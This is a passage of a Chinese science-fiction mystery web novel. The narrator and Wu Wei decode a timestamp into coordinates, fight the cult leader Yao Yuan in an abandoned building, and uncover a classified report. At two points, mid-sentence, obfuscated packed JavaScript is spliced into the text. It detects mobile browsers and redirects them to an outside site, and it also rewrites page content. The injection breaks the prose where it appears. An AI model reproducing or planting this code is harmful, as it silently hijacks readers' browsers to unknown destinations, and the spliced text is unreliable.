“我也想说。”吴潍皱眉头思考,坐直身体解释起来,“因为压痕有问题,但她写得太密我也不好判断。” 吴潍拿出那两张写满叶琦推理的纸,打开车顶灯,平放视角,示意我照做。我有些紧张,拉下墨镜去看。 “我经手的手写档案不多,也只是怀疑。前一页的笔记压痕会在下一页上展现。”她指着纸下方凸起的痕迹,“因为两页纸都按照横线写满了,所以看着不明显。” 她的手摸到一小段空行,然后拉过我的手指,让我用指腹去摸。我摸了半天也没发现什么,困惑地和她对视。 见我一脸茫然,吴潍有些无语地解释起来:“这里是推理纸张的第一页,但它上面明显有一段属于上一页压过来的横线。” 假装看了半天才看出来一点。我摸上鼻梁,把墨镜推了回去。 “对比一下位置,这条横线和‘首领嫌疑名单’下的横线对应。”她似乎对我的视力恨铁不成钢,“所以,名单应该在数字解谜之前,跟你给我的档案文件是反的。” 我略带无辜地眨眨眼,尽管隐藏在墨镜之后,她也看不见:“但是压痕太短了。叶琦到横线末尾才开始用力,力度也应该是渐变,而不是断开的吧?” “而且数字地方的空白没有压痕,所以我只是有点怀疑。”吴潍重新把文件按照数字解谜在上的顺序整理好,“你调换文件顺序是为了掩盖什么?我名字旁边的失踪吗?” “那也只是叶琦的一面之词。”我提出自己的看法,“无论如何,你因故失忆后调职,在她眼里跟失踪差不多了。你也知道她的性子。” “是啊,嫉恶如仇。”她收好文件,扔到后座,又瞥了我一眼,“那条压痕即是你调换的证据,也是你没有调换的证据。我看不出来更多了,但我想信任你。” “叶琦文件就是这样的,我没改。”我正面回答她,“我们合作的大前提是都需要保命。” 吴潍转回头,对我们之间的共识不置可否:“还有十分钟路程,我再睡一会。” 我这才缓了一口气,安分当吴老板的白脸低调小司机。 “到了。”我把车停在一个街区之外的无人机死角,拍拍吴潍的肩膀,“再往前就会太靠近生命管理局,得自己走过去。” 吴潍捂住脸,试图清醒一点,深呼吸,准备拉开车门,又转头问我:“我去管理局不会被直接抓走调查吗?” “不会的。”我说得很肯定,“管理局可不会把这种事情放在台面上。” 吴潍用她那张熟悉的质疑脸看我:“你怎么这么肯定?” “因为他们没有证据。”我抬起下巴,看着后视镜的路人移动,“执行官是暗杀为主的秘密组织,不会在人多的地方动手。” 我收回视线,整理好自己的衣服:“叶琦都主动和你接触要求违规修改档案时间,就说明这个事件本身就无伤大雅。” 我没有把话说完,吴潍听得出来。 管理局也许知道她走私LEA,但肯定没有获得足够的线索,能够连带着她和她背后的LEA制作商一起端掉。否则,管理局早关了吴潍一切账户和权限,连车都开不了。 所以,目前,吴潍在城市正常生活是绝对安全的。 示意她检查自己的耳麦,开门下车,我带好墨镜,揽好风衣角度遮蔽腰间武器,靠在车门上一副“送人上班”的姿态。 吴潍不知道信我几分,但知道我不会拿她的安全开玩笑。放下盘发,摸一把耳麦,下车离开,看见我冲她装模做样地打招呼,她翻了个不明显的白眼,甩头离去。 看着吴潍离去,我倒是需要找个咖啡厅短暂消磨一下时间。上层的酒真的难喝到了某种令人无语的地步,也许甜品方向还有救。 重新坐回车里,摘掉墨镜,对着镜子拿出化妆品,再次确认眉眼被掩盖好特征。我总不能把墨镜焊死在脸上,这样不符合常理。 在吴潍身上有线索的基础上,我作为执行官,“销毁吴潍”的任务拖延,同样也有了逻辑支撑:我和吴潍的生活信息完全不互通,就算我正常处理了她,也会有暴露“生物复制体会替代人类本体”的风险。 处理好特征,我下车打开后排车门,准备拿上换药的物品。 本想伸手去拿自己的行李包,看见吴潍的黑色挎包放在另一边,犹豫片刻,还是决定拉开看一眼。 医疗用品、小型工具盒、压缩饼干等等,看起来十年前的训练还没有忘光。我又翻了一下,没有武器,没有可疑的追踪器,底下还有本夹着笔的纸质记录本。 手指放在记录本边缘,没有太多犹豫,我干脆拿出来翻看一番,上面没什么我需要了解的新东西。 档案时间修改的名单、定金尾款的结清方式和是否结清,还看见了我的名字Wined·Caster,旁边画了个问号又划掉;一些整齐的数字英文串,粗略扫一眼,猜测应该是LEA仓库所在地,坐标范围大致都在城市边缘。 往后连翻几页没什么信息,我干脆倒过来从最后一页查看。 奇怪但眼熟的乱码,简单回忆一番,其中有一串是我当时在她浴室镜面上的便签句子,所以这些乱码应该就是我幼时自创的密语。 简单翻译了这一页每个段落的第一句。总共三段,翻出来的三句话分别是“不要忘记”、“记忆是背叛”和“LEA解药”。 密语本身不会参杂确切的主谓宾结构,后面的句子大多作为补充说明存在,全部看完我需要很长时间。手环又不在身边,不然还能拍下来带走仔细研究。 “我拿到余殷档案了。”吴潍的声音冷不丁从耳麦里传出来,吓我一跳。 都忘了耳麦这回事了。我下意识地收好来不及解密的笔记本,回答她:“你看到什么了?” 从自己的行李包中拿走医疗用品和记录平板,我锁好车,扫视了周围,没有看起来适合消磨时间的咖啡厅,只好往远的地方走一点。 “看起来没什么特别的。“吴潍的字句间隔拉得有些长,似乎在一边看一边思考,“基因组判别为教师,也确实在城市第二学校工作。唔,3817年年初和叶琦登记结婚,嗯?他的档案关联了子女?” “重组家庭?”我提出可能,找了家顾客寥寥的咖啡厅,翻开菜单去看,尽管完全看不进去。 吴潍在耳麦那头沉默了一会:“不像是。女儿的出生日期是3819年。” “日期呢?是2月份或者12月份吗?” 我点了杯叫做“日暮时分”的咖啡,拿出平板,重新写下那串数据“3822-02-19-12-27-06”。反复想得太久,我几乎都能背下来了。 “不是。”吴潍否 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16272521|182377||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 决了我这个想法,“3821年被抽中进行辐射区探索,同年2月19日出发,所属队伍编号3822。” 在数字“3822”下方写下“探索队编号”,在“02-19”下方写下任务开始,在“12-27”下方写下任务结束,多出来的“06”依然没有头绪。 目前能确定,叶琦写下的“任务结束”应该指的是余殷的探索任务结束。 我把平板暂时关闭,放在桌面上,起身去卫生间给自己换药。 坐在马桶盖上,拆掉绷带,没有镜子看不见伤势,我只能用手摸着去更换。没有结痂的伤口摸起来诡异的柔软,用凝胶重新处理边缘,疼痛让我深呼吸一口。 为了转移注意力,我又去问她:“探索队编号有什么规律吗?” “一般是出发年份加一,探索任务一年只有一次。”吴潍回答我,“其他直接相关的可能只有死亡日期,3822年2月19日。” 迅速缠好伤口,我整理完外表,回到座位,在“3822-02-19”下方又划了一整条横线,写上死亡日期。 余殷为什么要刚好在任务出发时间的一年后自杀?是巧合?还是他想告诉叶琦什么? “唔,他在3822年1月份提过离婚申请,但没有通过。”耳麦里的声音陷入了思考,“理由是感情破裂,但叶琦不同意。” “还找到别的了吗?” 我心里似乎有了一个可能,回到座位,对着端“日暮时分”过来的人类服务员露出一个浅笑。 还需要警局的档案验证我的猜测。叶琦怀疑丈夫是复制体,拿走了人类异常信仰案件的复印件,却没有她丈夫的自杀案件相关? “没有。”吴潍对我说,“余殷档案下方还关联一份案件记录和一份异常走访记录,还有很奇怪的一点,死前一个半月报了整整十次警。” 哇哦,十次,这是跟无人机杠上了,还是跟管理局里哪个人杠上了。 我端起咖啡杯尝了一口,忍不住惊叹挑眉。这家店人少,难道是因为这个城市的人喜欢难喝的酒吗? “案件档案里有那张无人机拍摄的现场照片。”吴潍的声音有些兴奋,但随之觉得不妥,“那串数字跟照片的时间戳完全吻合。” 我有些惊讶,在那一整串数字顶上写着“无人机现场拍照时间戳”。现在来看,余殷的死亡越来越像是某种暗示,而不是单纯的情绪崩溃。 余殷想说什么呢?叶琦到底发现了什么才决定加入组织?我摩挲着金属边缘:“他怎么短时间内会报十次警?不会被管理局拉黑吗?” “好像是精神异常。”吴潍滑动屏幕的声音有些明显,似乎是档案长得有些令人厌烦,“结案语都是说他精神异常,又说是什么探索辐射区后遗症云云。” “我知道了。”我直起身子,换了个姿势坐在椅子上,“他报警不是为了解决问题,是为了获得无人机到场、拍摄的花费时长。这个时间戳,一定是他精挑细选的。” 无人机在每次报案后,会在固定时间内抵达现场,拍摄一张报案地点照片作为出警记录,后期非重大案件的照片会被定时清理。 算是生命管理局“高压”统治的展现,尽管上层人完全不在乎。 “所以叶琦才会如此在意这串数字。”吴潍恍然大悟,但语气又低了下去,“但还是不知道这串数字意味着什么。” 我摸上了杯子把手,思考着。 路过的服务员忽然拍了拍我的肩膀,告知门口有我送达的物品。瞬间知道送上来的是什么,我摁掉耳麦的麦克风,起身去门口取管理局送来的新手环。 戴在手上,等开机音过去,我才重新打开麦克风。上下层手环除了开机音略微不同、地图有两张以外,其他基本相似,我不能让她起疑心。 手环几乎是开机的瞬间就接收到了管理局的提示:上一个手环的下线坐标,并附带了关不掉的两周倒计时。 坐标?我无视了充满警告暗示的倒计时,也忽略稍后发来的“因攻击同事罚款30%月度工资”通知,在手环上调出地图,查看上层城市坐标范围。 坐标横竖都是0-4000,使用时严格对照小数点左四位右两位的格式,用0补全缺位。 我看了眼14位的数字,去除全部连接号,按顺序每六位拆成“3822.02”和“1912.27”;至于“06”,可能是接头暗号,也可能是时间,不能确定,但很符合组织故弄玄虚的风格。 “是一份坐标。”我提醒吴潍,“这个地方刚好接近城市边缘——” 但这种解法属实是有些生搬硬套。 如果,一个地点就能解释余殷想说的所有事情,那直接告诉叶琦不就行了?她再怎么怀疑自己的丈夫,3815年的第一次人类异常信案件本身就是强行结案,不可能会放过这个线索。 9. 请君入瓮的坐标 “也符合组织选择线下接头地点的风格!”耳机里的声音有压不住的兴奋,“那我们现在出发吗?” 我不认识余殷,但我熟悉叶琦。大概率是余殷的信息被组织利用了,这串数字一定会有第四种解法,也是余殷用命想要表达的信息。 目前情况而言,这个坐标不管有什么,一定会有组织的人在蹲守我。 “吴潍,”我把平板和咖啡都放在一边,平静地重新拿起菜单,“你不饿吗?我在‘潮汐’,是个咖啡厅,我得吃饭。” 不算难吃,也不算好吃的一顿饭。 回到车里,开了自动巡航,让车自己去规划路线,我对着副驾驶位还在研究数字的吴潍说:“你上班中途跑出来,算早退吧?” “档案管理员线下验证档案者信息又有什么问题呢?”被质疑的长波浪/女人毫不在意,卷着鬓角,翘着二郎腿,拿着我的平板盯着看,“不用在意。” 反正这班又不是我——不对,还真是“我”上的班。沉默地摸摸自己良心,我自认为还是挺爱岗敬业的,但在吴潍身上怎么那么叛逆呢。 “这个‘06’到底是什么意思?”她对着这两个自然数划了半天,“除了时间戳,从时间跨度和坐标解释,都无法解释这两个数字。” “说明可能有第四种解法。”我倒是接受良好,重新翻起叶琦的文件,“这串数字的最高解释者已经死了三年了,要是能通灵问问就好了。” “说起来,余殷为什么会自杀?”吴潍不再纠结可能存在的第四种解法,“异常走访记录上只记录了他的失职,他本人什么都没说。” 我本想说叶琦暗示过我余殷是复制体,但直到目前为止都没有找到实质性的证据,于是只好无能为力地摇头,表达自己也不清楚。 “如果这串数字真的那么重要,为什么要用死亡来留下?”吴潍不再看平板,把平板扔到后座上,“余殷和叶琦的感情嫌隙到这种地步吗?” “谁知道呢。”我斟酌着语气,把握好“吃醋”和“释怀”的度,“感情这种事情,就是范围最大的随机数。” 吴潍看着我的表情,没头没尾地扯出一句:“你看起来和我差不多大,怎么听起来像五十岁。” “我没掏出烟抽上就不错了。”我拉低她的预期幻想,“你知道说出这种话,一般要配上一杯成分不明的酒和廉价香烟。” “还有迷离的灯光和关系复杂的烂俗故事。”吴潍重新扎起头发,绑成马尾,“我知道,是《遥遥月光》里面的台词,这剧集得有十来年了。” 我不满吴潍语气里的蔑视:“吴老板,这是经典。” 虽然我和吴潍还没法推理出余殷为什么要这么做,但我有我自己的推测版本。 我帮助过不少生物复制体进行社会替代任务,不过都是在下层,也就是用复制体替代复制体。在我这种旁观全程的视角里,看起来像是某种大型角色扮演。 假设,这种事情也会发生在上层。 那么“余殷”作为余殷的生物复制体,因为周围的不明显但真实的质疑感到崩溃,同时明白自己是复制体,提出离婚只是他自救、或者解脱的一种方式,但叶琦拒绝了。 修改不了自我认知,改变不了周围环境,余殷作为人类,死亡是非常具有诱惑力的选择。 而这串数字是他必须要留下的,必须要用不可隐藏、不可更改、不可删除的方式——无人机拍摄现场照片的时间戳。 余殷用自己的死亡换来了这一串数字的永久存在,像是一把达摩克利斯之剑悬在生命管理局的头上。 所以,必须是我来解决吴潍;所以,必须是我来解决组织。 我不知道应该说些什么、应该有什么感想。 当年我满心欢喜地加入生命管理局,兢兢业业地在城市里奔跑,按部就班地追查异常信仰案件——但我获得了什么?真相、囚禁、放逐。 我想复仇,但毁了生命管理局就等于毁了所有人,只能保持现状。 我知道,管理局也知道。 我看着周围逐渐安静下来,空楼房比比皆是。看来在我离开的十年里,城市人口更集中了。 吴潍目前推测不出来,因为她没有“生物复制体会替代人类”的事实概念。 那些对身边人的怀疑未必是假的,复制体本身就不会暴露自己的身份,否则等来的不一定是周围人的不相信,还会是管理局的回收——这也是我的工作之一。 离坐标还有不到五分钟,我有些不安的重新检查了腰间装备。吴潍倒是没什么额外的反应。 我看着自动巡航显示结束,找了个曾经规划为停车位的空间,停车。 这坐标附近长满了各种奇形怪状的花朵植被,颜色更是挑战着人类视觉极限,本应该舒适的花香令人头昏脑胀。 我想着母亲的花圃,试图用心理反应欺骗自己的生理反应。 吴潍下车看了一眼我的停车,又把视线转向我:“这植物都长成片了,你还能按照位置停?” 我拍上车门,耸肩:“这就是物超所值,诚心买卖,吴老板。” 我的新晋老板一甩手,示意我带着油腔滑调一起在前面走。 走进坐标所在的废弃大楼,扫视一圈没有发现导航图,正中心的屏幕也没有显示,似乎没有电力。 “外面来看似乎有十楼。”我摸了摸下巴,调出手环检测环境,“没有生物热源,没有磁场反应——” 吴潍补充说明:“没人,断电。所以呢?” “‘06’可能指的是楼层,6楼,负6楼;”我拉出手环的虚拟屏,指望地图上会有这栋建筑的详细信息,“也可能是时间,6点,或者和6有关的固定现象。” 在手环上的地图没有结果,无奈地深呼吸叹气,我从空气里闻到一点类似于母亲花圃盛开的综合香味。门外呛人的花香总算是淡了许多。 吴潍循着味道往通风井的方向走了两步:“你有没有闻到什么味道?” “有月季的味道,”我脱口而出,后知后觉有些失言,找补着,“像是花店的味道,不过这座建筑的门口位置就长了很多花,也不算意外。” 吴潍没有注意到我的小失态:“不,这是LEA的味道。” “之前我在仓库怎么没有闻到这种味道?”我观察着通风井,顺着通路把视线转向角落里的楼梯,“怪不得我在天桥温室没有注意到LEA的味道。” “LEA的挥发性很强,只要通风够好,这种味道很快就会散掉。”吴潍按照我的指示跟在后方,“而且味道并不特殊,生活里闻到也像是香水。” 这么说来,这个味道的源头所在八成有人。我摸出左腰的手电筒,拿出手枪,装上消音器,上膛。 贴墙,借着手电筒光缓步下楼,我开口问吴潍:“所以,闻到这种味道对人体有影响吗?” “不清楚。”吴潍说得很无辜,也拿出枪,隔了几步,跟在我身后,“我没有听说过有什么影响。” “听说?”我在楼梯口停下问她,“你对LEA几乎不了解?” “没法否认。”吴潍终于显露出一些无奈和心虚,“LEA的订货人、制作者和供货商都是互盲,只通过我这种‘传话人’沟通,而且传话人只会在其中两方之间任命。” 怪不得,这就验证了我对生命管理局不处理吴潍的猜测,确实是因为没法一锅端。我没再说话,转身继续沿着楼梯往下寻找源头,最后我停在了负6楼,味道从这层的深处传过来。 正准备去拉防火门,身后瞬间传来了一声警示意味的枪响,随即整个走廊的灯都亮了起来。低头去看卡在防火门上的子弹,顺手关掉手电,我听见身后传来耳熟的声音:“小姐,这种地方可不是淑女应该来的地方。” 枪响回声在封闭空间里动荡。我转身去看,来者是当时互助会被组织成员称为“总督”的男人。示意吴潍不要下楼出现,自己迅速举枪对准他:“背后鸣枪警示,也不是绅士的作风。” “啊,叶琦的朋友。”总督举起左手,蹲下,放下手枪,起身把枪踢到走廊边缘,“你能找到这里也是预料之中,管理局做事总是那么不计后果。” 余光确认吴潍没有出现,我压低枪口,没有接他的话茬。借着顶光,我才认出眼前的男人。 他是我曾经亲手除掉的核心组织成员。在之前互助会上对总督的混乱一瞥,我还没有认出他。 稳了稳心神,我继续和他对峙。 “叶琦都没有完成的修正,我还是亲自上阵比较好。”总督的语气很平缓,像是在对着我讲一个遥远的故事,“LEA的味道很像花香,注射的感觉也会像是一场没有后遗症的甜梦。” 他上前一步,我迅速抬起枪口对准他,下意识摆出曾经的管理员架势:“停止你的行动。” “我不想听第二次。”总督打断了我的职业病吟唱,又上前一步,“十年前也有这么个人用这种语气来阻止我。” 我下压枪口,在他的脚边开枪,又迅速对准他的躯干,挑眉:“就当你在夸我们不忘初心了。” 总督冲刺两步,他的胸口即将抵上我的枪口。我不再犹豫,不试图从他这里套出更多情报,迅速扣下扳机。 对方的动作更快,抬手偏移我的手腕,子弹落空,在这段狭长走廊里炸出第二次更安静的回声。 “你不嫉妒吗?”总督的声音落在我的前方,视线明显上移到楼梯口处,“复制体偷走了你的人生,就这样放下了?” 我没有跟他废话,趁他牵制我的手腕,左腿一扫,破坏他的下盘平衡。在他调整重心瞬间,抬腿正踢,拉开和他的距离,重新摆好手枪架势。 总督捂着腹部后撤两步站定,脸上全是兴奋:“你果然是证人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16272522|182377||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,叶琦说得不错。” 怎么感觉这男人能从对战风格中认出我?见过我的只有当年的核心组织成员,而我已经按照名单处理干净了,怎么会有漏网之鱼?叶琦给出的名单向来包含所有可能,她不会这么早就加入了组织。 “你是谁?”我干脆直接询问,这种把“自恋”两个字打在身上的邪教组织头头,向来不吝啬声明自己的机会。 “姚渊。”他冲我一笑,像是看见了梦想成真的证据,“久违,吴队。” 这个人名在叶琦给出的名单上,我没有漏掉,当时的生物特征也是匹配的。那眼前这个人真实身份到底是什么? “你认错人了。”我面不改色地反驳他,“我认识的吴队早就不干这一行了。” 如果是复制体,怎么会有原型的记忆? 复制体获得的记忆来自原型最近的生命备份。姚渊就算是复制体,管理局也不会使用他加入组织之后的生命备份数据。 姚渊没有行动,用那种“我为了你好”的花言巧语腔调:“你自愿让出了原型身份?生命管理局值得你这么维护吗?” 我不为所动,瞄准他的持枪手,扣动扳机。对方迅速转移身形,一枪偏移。 左肩受伤,我连定靶都打不中?我暗自腹诽一句,连开两枪扰乱对方节奏,在对方接近时迅速左手摸出匕首应战。 姚渊速度太快,我一时间招架不住。 原型是城市执行官,在城外核战清算战争中是稀少的人类指挥官。战绩我没有仔细研究过,但能活着退伍已经是一种证明。 他侧身躲过我的匕首横扫,一把掐住我的左手手腕,用力反折,试图迫使我丢刀。我不能再受重伤,右手调转枪口,准备再次扣动扳机。 姚渊似乎早有预料,放弃控制我的左手,侧身完成左拳蓄势,击打在我的肋骨下方。 操。我疼得说不出话,至少没有听到骨骼断裂的声音,又添一处瘀伤而已。眼前一阵阵发黑,不得不半跪在地上,粗喘两口,压下心头的气血翻涌。 “肩膀有伤?”姚渊并不打算杀我,控制住我之后反而饶有兴味地蹲在地上,看着我挣扎,“怪不得准头没有以前好。” “我认识你吗?”自知是打不过了,我得想办法转移注意力,抬头扯出一个微笑,“姚什么?姚渊?” 体力,技巧对现在的我来说就是碾压。我又想起来医院报告单上写成串的伤势,操。 “不准动。”吴潍没有坐视不管,举着我的备用枪,压低语气,“袭击城市管理员将判处——” 没等她说完,姚渊迅速转身挥手,击落吴潍的手枪。吴潍反应很快,瞬间格挡姚渊的提膝顶击,不得不后撤两三步才堪堪站定。 我抓住机会,放弃手枪,正握匕首,准备起身突击。对方预判到我不会放过这个机会,躲过我的匕首,抓过我的手腕和左肩,转身用力,把我撂倒在地上。 我的风格有那么明显吗?我天旋地转中想着。 又是后背着地。作为无神论者,我都不知道该向谁祈祷,让我后背的肋骨骨裂不被这下摔成骨折。我更宁愿原地昏倒过去算了。 离动作片里被暴揍的路人小兵战败结算情景,就差蜷缩在地上呻吟了。 呻吟那部分,不是蜷缩。我已经痛得思维迟缓了。吴潍连忙跑过来扶起我,视线一刻没敢离开姚渊。 “你会为你的冲动付出代价。”姚渊永远是一副预料之中的表情,他的视线越过我,落在吴潍身上。 我拉着吴潍的手站起身,独自站定,捂着左肩,用尽全力不让自己对他翻白眼。走廊的灯在闪烁,姚渊侧着身仿佛在俯视我,表情有几分时间限制的不爽。 忽明忽暗的情景让我眯了眯眼睛。那男人面对着我们站立,看不清他脸上的表情。 “你们只会止步于此。”姚渊的声音在我的耳里很遥远,“这里就是叶琦的终点。” 我都不知道该捂那里才能让自己好受点,最后干脆都不捂了,站直身体,凭借记忆俯身摸上走廊边的姚渊手枪。 刚拿起来我就知道这一切都是个圈套了。姚渊的枪太轻了,弹夹是空的,他只带了一发子弹。 这人到底来干嘛的?虽然这么想着,但我还是拿着空枪握在手里。哈,叶琦说得对,我确实很擅长把空枪当板砖使。 我小幅度的伸展身体,确认伤势:“你们这种半吊子定义别人的终点,未免有些太狂妄。” “你既然已经见过了真相,为什么不散布呢?”姚渊的语气像是蛊惑,“让所有人活在猜忌和怀疑里,过着痛苦的噩梦?” 我仔细摸一把手枪型号,是管理局的统一制式,和我下层配备的弹夹并不通用。 这下真的只能当板砖使了。 可算是知足吧,上层人。我暗自骂他一句,嘴上反驳他:“谢谢你,我对当先知没兴趣。” 10. 岌岌可危的真相 “但是我有——” 姚渊的话语起头就让我感觉不妙,我一个箭步冲上去打断他的话。不知道是不是我的错觉,他在我扑上去的时候讽刺地轻笑一声。 我和姚渊摔进了防火门之内。奇怪的化学仪器还在低声作响,更加浓烈的馥郁花香扑面而来。 诡异的情景让我走了一瞬间的神。 看见他拿出和叶琦如出一辙的LEA注射器,我在想这种违规药剂有没有成瘾性。 假如组织里都是毒虫,那十年前的这个组织早就彻底完蛋了。我这么想着,举起手,决定采用金属部件的错误用法。 “好梦。” 姚渊的声音似乎从母亲遥远的花圃里传来。 意识似乎瞬间消失了。再次醒来时,我恍惚看见自己变成了叶琦,对着镜子大喊大叫,但发不出声音。 我看见时隔多年重新亮起的定位,看见定位走向生命管理局,走向吴烛的家,最后轻而易举地走进自己的家。 情绪输出远大于记忆冲击。惊讶、怀疑、难以置信——像是团成一团的致密火药从内部炸开。 记忆是燃烧的元素,轨迹是无从分辨的顺序,火光是灼痛的情绪,最后回荡着我难以言明的痛苦,迅速湮灭。 我得承认,姚渊的形容非常正确,真的很像是一场没有后遗症的甜梦。 我有点喜欢了。LEA不仅会注射情绪,还包括记忆。 叶琦给我注射的目的就非常明确了——她就想知道,眼前这个和记忆里的“吴潍”完全不同,但有“吴潍”风格,也有追踪匕首的陌生人,到底是不是吴潍,到底是不是她的挚友。 她知道我和她的分歧在哪里,是共情对象的差异。我也知道,并且我天真地觉得:这可以来日方长。 而我再也没有机会告诉她:我回来了,我可以拯救你,像十年前一样。 “醒醒。”有人在推我,熟悉的声音,柔软而担忧。浑身的钝痛让我费力地找回神志。 花香,该死的花香。我捂住脸,不知道自己是昏迷,还是睡了过去。这下我再去母亲的花圃一定会有心理阴影。 “Wined·Caster!” 这名字又在喊谁?昏暗的炽光灯打着频闪,我用力找到支撑点试图坐起,看着镜子——镜子?哪里来的镜子。 是吴潍,不是镜子。我拉住她即将采用“扇醒”方式叫醒我的手,起身坐起:“我醒了,醒了。” “那就好。”吴潍收回手,上下打量我一番,伸出四根手指,“你有什么不舒服吗?这是几?” 我一把揽过她的四根手指,故意目视前方,语气迷离:“LEA有点上头。” 她瞪大了眼睛:“LEA没有成瘾性,只是情感复现,情绪安慰剂而已。” 我把视线转向她,她和我对视。我等着吴潍继续补充。她困惑地看着我,偏头挑眉,示意我说话。 好吧,我总算是确认吴潍真的对LEA几乎一无所知。 “确实没有。”我活动着手腕,移开视线。 “你骗我?”吴潍原本对准我的左肩,最后一拳捣上我的右肩,“你的职业精神就这样?” 我夸张地捂肩,顺势躺在地上,悲痛地呜咽一声。吴潍抓着我的手腕,试图把我拉起来:“你的老板不吃这一套,你收收吧。” 我借力挺腰,站起身,收起模糊重点的嬉皮笑脸。环视周围,防火门后的空间像是落灰很久的化学实验室。 扶了扶腰,我问吴潍:“姚渊呢?” 操,浑身都在痛。我得谢谢姚渊没有下死手。 不知道叶琦对姚渊说到什么程度了,但按照姚渊对我的态度来看,八成,不,一定知道,我见过下层,我是唯一一个完整穿梭过辐射区、并且活着回来的真正人类。 吴潍叹气:“他给你注射了LEA就离开了。” 我环视周围,假装我问出的问题并不是重点:“什么都没说?” “什么都没说。”她很肯定地点头,“你是怕我问什么问题?” 我背过身去观察那些停止“嗡嗡”低鸣的化学仪器,整理好语气靠在桌子边缘:“你不觉得你的问法太直接了吗?” 吴潍抱胸,表示自己毫不在意我的控诉:“姚渊跟你很熟?” “不熟。”我回答她,“而且他是组织总督,他说话你愿意信,那就完蛋了。” “总督?”她重复了这个称呼,不知道是故意诈我,还是真的不知道组织里有这么一号人。 “类似精神领袖的角色。”我决定说实话,“昨天,还记得吗?我跟你说过,我是从组织里逃出来的。” 吴潍恍然大悟:“哦,那他为什么叫你吴队?” “指桑骂槐呢。”我给那个举手投足冒着“自恋”傻气的男人下定义,控诉似的盯着吴潍看,“你当年在案件里做了什么?” 被反将一军的前城市管理员沉默了下去。我无辜地摊手,在这间屋子里转身,继续寻找能够破解那串数据的新线索。 玻璃器皿里有一些刚加工出来的花香精油,靠近之后浓烈的香味让我皱了眉头。其实这地方就没有什么好找的东西,姚渊亲自在这里蹲伏,怕的是我和吴潍不来,而不是找到潜在的线索。 “你懂化学技术吗?”我一介粗人实在是看不懂这些瓶瓶罐罐,“这里看起来只是精油萃取室,更像是姚渊故意吸引我们的圈套。” 吴潍从房间另外半圈绕到我们面前:“一般。我们又不做技术,空有理论没有仪器和实践。” 无奈,我翻箱倒柜地找出没有落灰的密封试管,准备采样那些提取出来的精油。察觉到存放试管的架子深度有些不对劲。伸手摸到底部,估算着距离。 这种制式的架子在下层相当常见,也是那些生物复制体的躲藏、藏匿重要物品的首选。 好俗套的走向!我心里“果然如此”地大喊一声,用指关节敲了敲底部,声音果然是空的。把整个隔层清空,我递给吴潍一个空试管,示意她去装一些样本。 摸了摸身上,才想起来匕首落在门外走廊,手头只有一些技术工具。 掏出小功率激光刀的时候,我还在寻思,对付这种薄铁板会不会有些大材小用?时间不等人,姚渊如果真的对吴潍什么都没说,八成他想说的都在这份隐藏的文件里。 拿出背后颇有些份量的纸张,是一份手稿,时间落款是3815年。 十年前的东西,有些眼熟的笔迹。我迅速翻查,是一份辐射区调查报告。 刚刚扫到开头第一句“根据为期六个月的调查”,我的大脑一片空白,下意识地用手挡住内容。 这是我曾经写给核心管理层的任务报告。去了下层之后,为了避免和“吴潍”扯上关系,我更改了笔迹,甚至连我自己都没法第一时间看出来曾经亲自写过的文件。 姚渊放这份文件是什么目的?这份文件需要配合当时的证据才有说服力,单独一份文件证明不了什么。 是要用这种方式证明他们知道吴潍的过去? 我再次扫了一遍细节部分。是近期的复印件,抹去了除了“吴潍”以外的所有人名,抹去了具体的证据描述,只留下了结论和核心管理层的反馈批语。 指向性非常明显:如果你想知道真相,我们会告诉你。 结尾的落款是我再熟悉不过的签名,一气呵成的笔迹,现在只让我几乎思维要停转。 我要把选择权留给吴潍吗?我惶惑地扶额,来不及想出对策,把单独成页的反馈拿出,迅速折叠塞进随身技术工具便携包。 拿着手里的文件起身,转身主动叫住还在给试管密封的吴潍:“姚渊藏的文件,有你名字。” “我?”吴潍把试管递给我,接过那几张纸,低头去看内容,“你怎么这么确定是他藏的?” 当然了,组织精神领袖亲自登场,这种明显是线索的文件,怎么会就这么明晃晃地放在这里。 “这里已经是暴露的坐标,”我失忆吴潍去看复印件角落上的标记,“谁会把管理局标记为绝密的文件放在这里?” 吴潍皱着眉头:“你在管理局到底做过什么?” “你要是想问我为什么会知道‘绝密’标记,”我收好精油样本和工具便携包,冲她一笑,“因为我干的所有事情都是绝密。” 后者对我的讨好完全不接受,沉默而优雅地蔑视我一眼。说完,我指了指门口,示意先去走廊回收匕首和手枪。 打开手电,发现姚渊自己的枪已经被拿走,我的枪还在门口,匕首落在不远处的走廊边。 在走廊站定,深呼吸,从曾经的记忆里翻找出那份文件。 想起最后管理局回复中的“拒绝”和“确认辐射区无人类活动迹象”,我心里就是一阵难以描述的五味陈杂。 一个很小的文字游戏。辐射区确实没有人类活动迹象,那只是个面积很大的隔离带。 我扶着头,深呼吸压制好情绪。姚渊的圈套、单方面的压制,迟迟不好的伤势,叶琦的死亡,余殷的信息,每一件事情都没有一条即行的出路。 无法诉说的压抑和真相,被践踏的信念和希冀,我无能为力,只好愤恨地对墙角撒气,有些气恼地踹了一脚。 "打不过姚渊这么生气?"吴潍从房间里走出来,手里的文件卷成卷拿在手里,“你也浑身是伤,打不过也情有可原。” “打了十几年架,难得输这么惨。”我尴尬地收好情绪,结束简单的问候,“你在管理局有什么认识的技术员吗?” 曾经的也行。当年办案确实是和一个叫林执的技术员关系不错,希望吴潍能继承到这层。 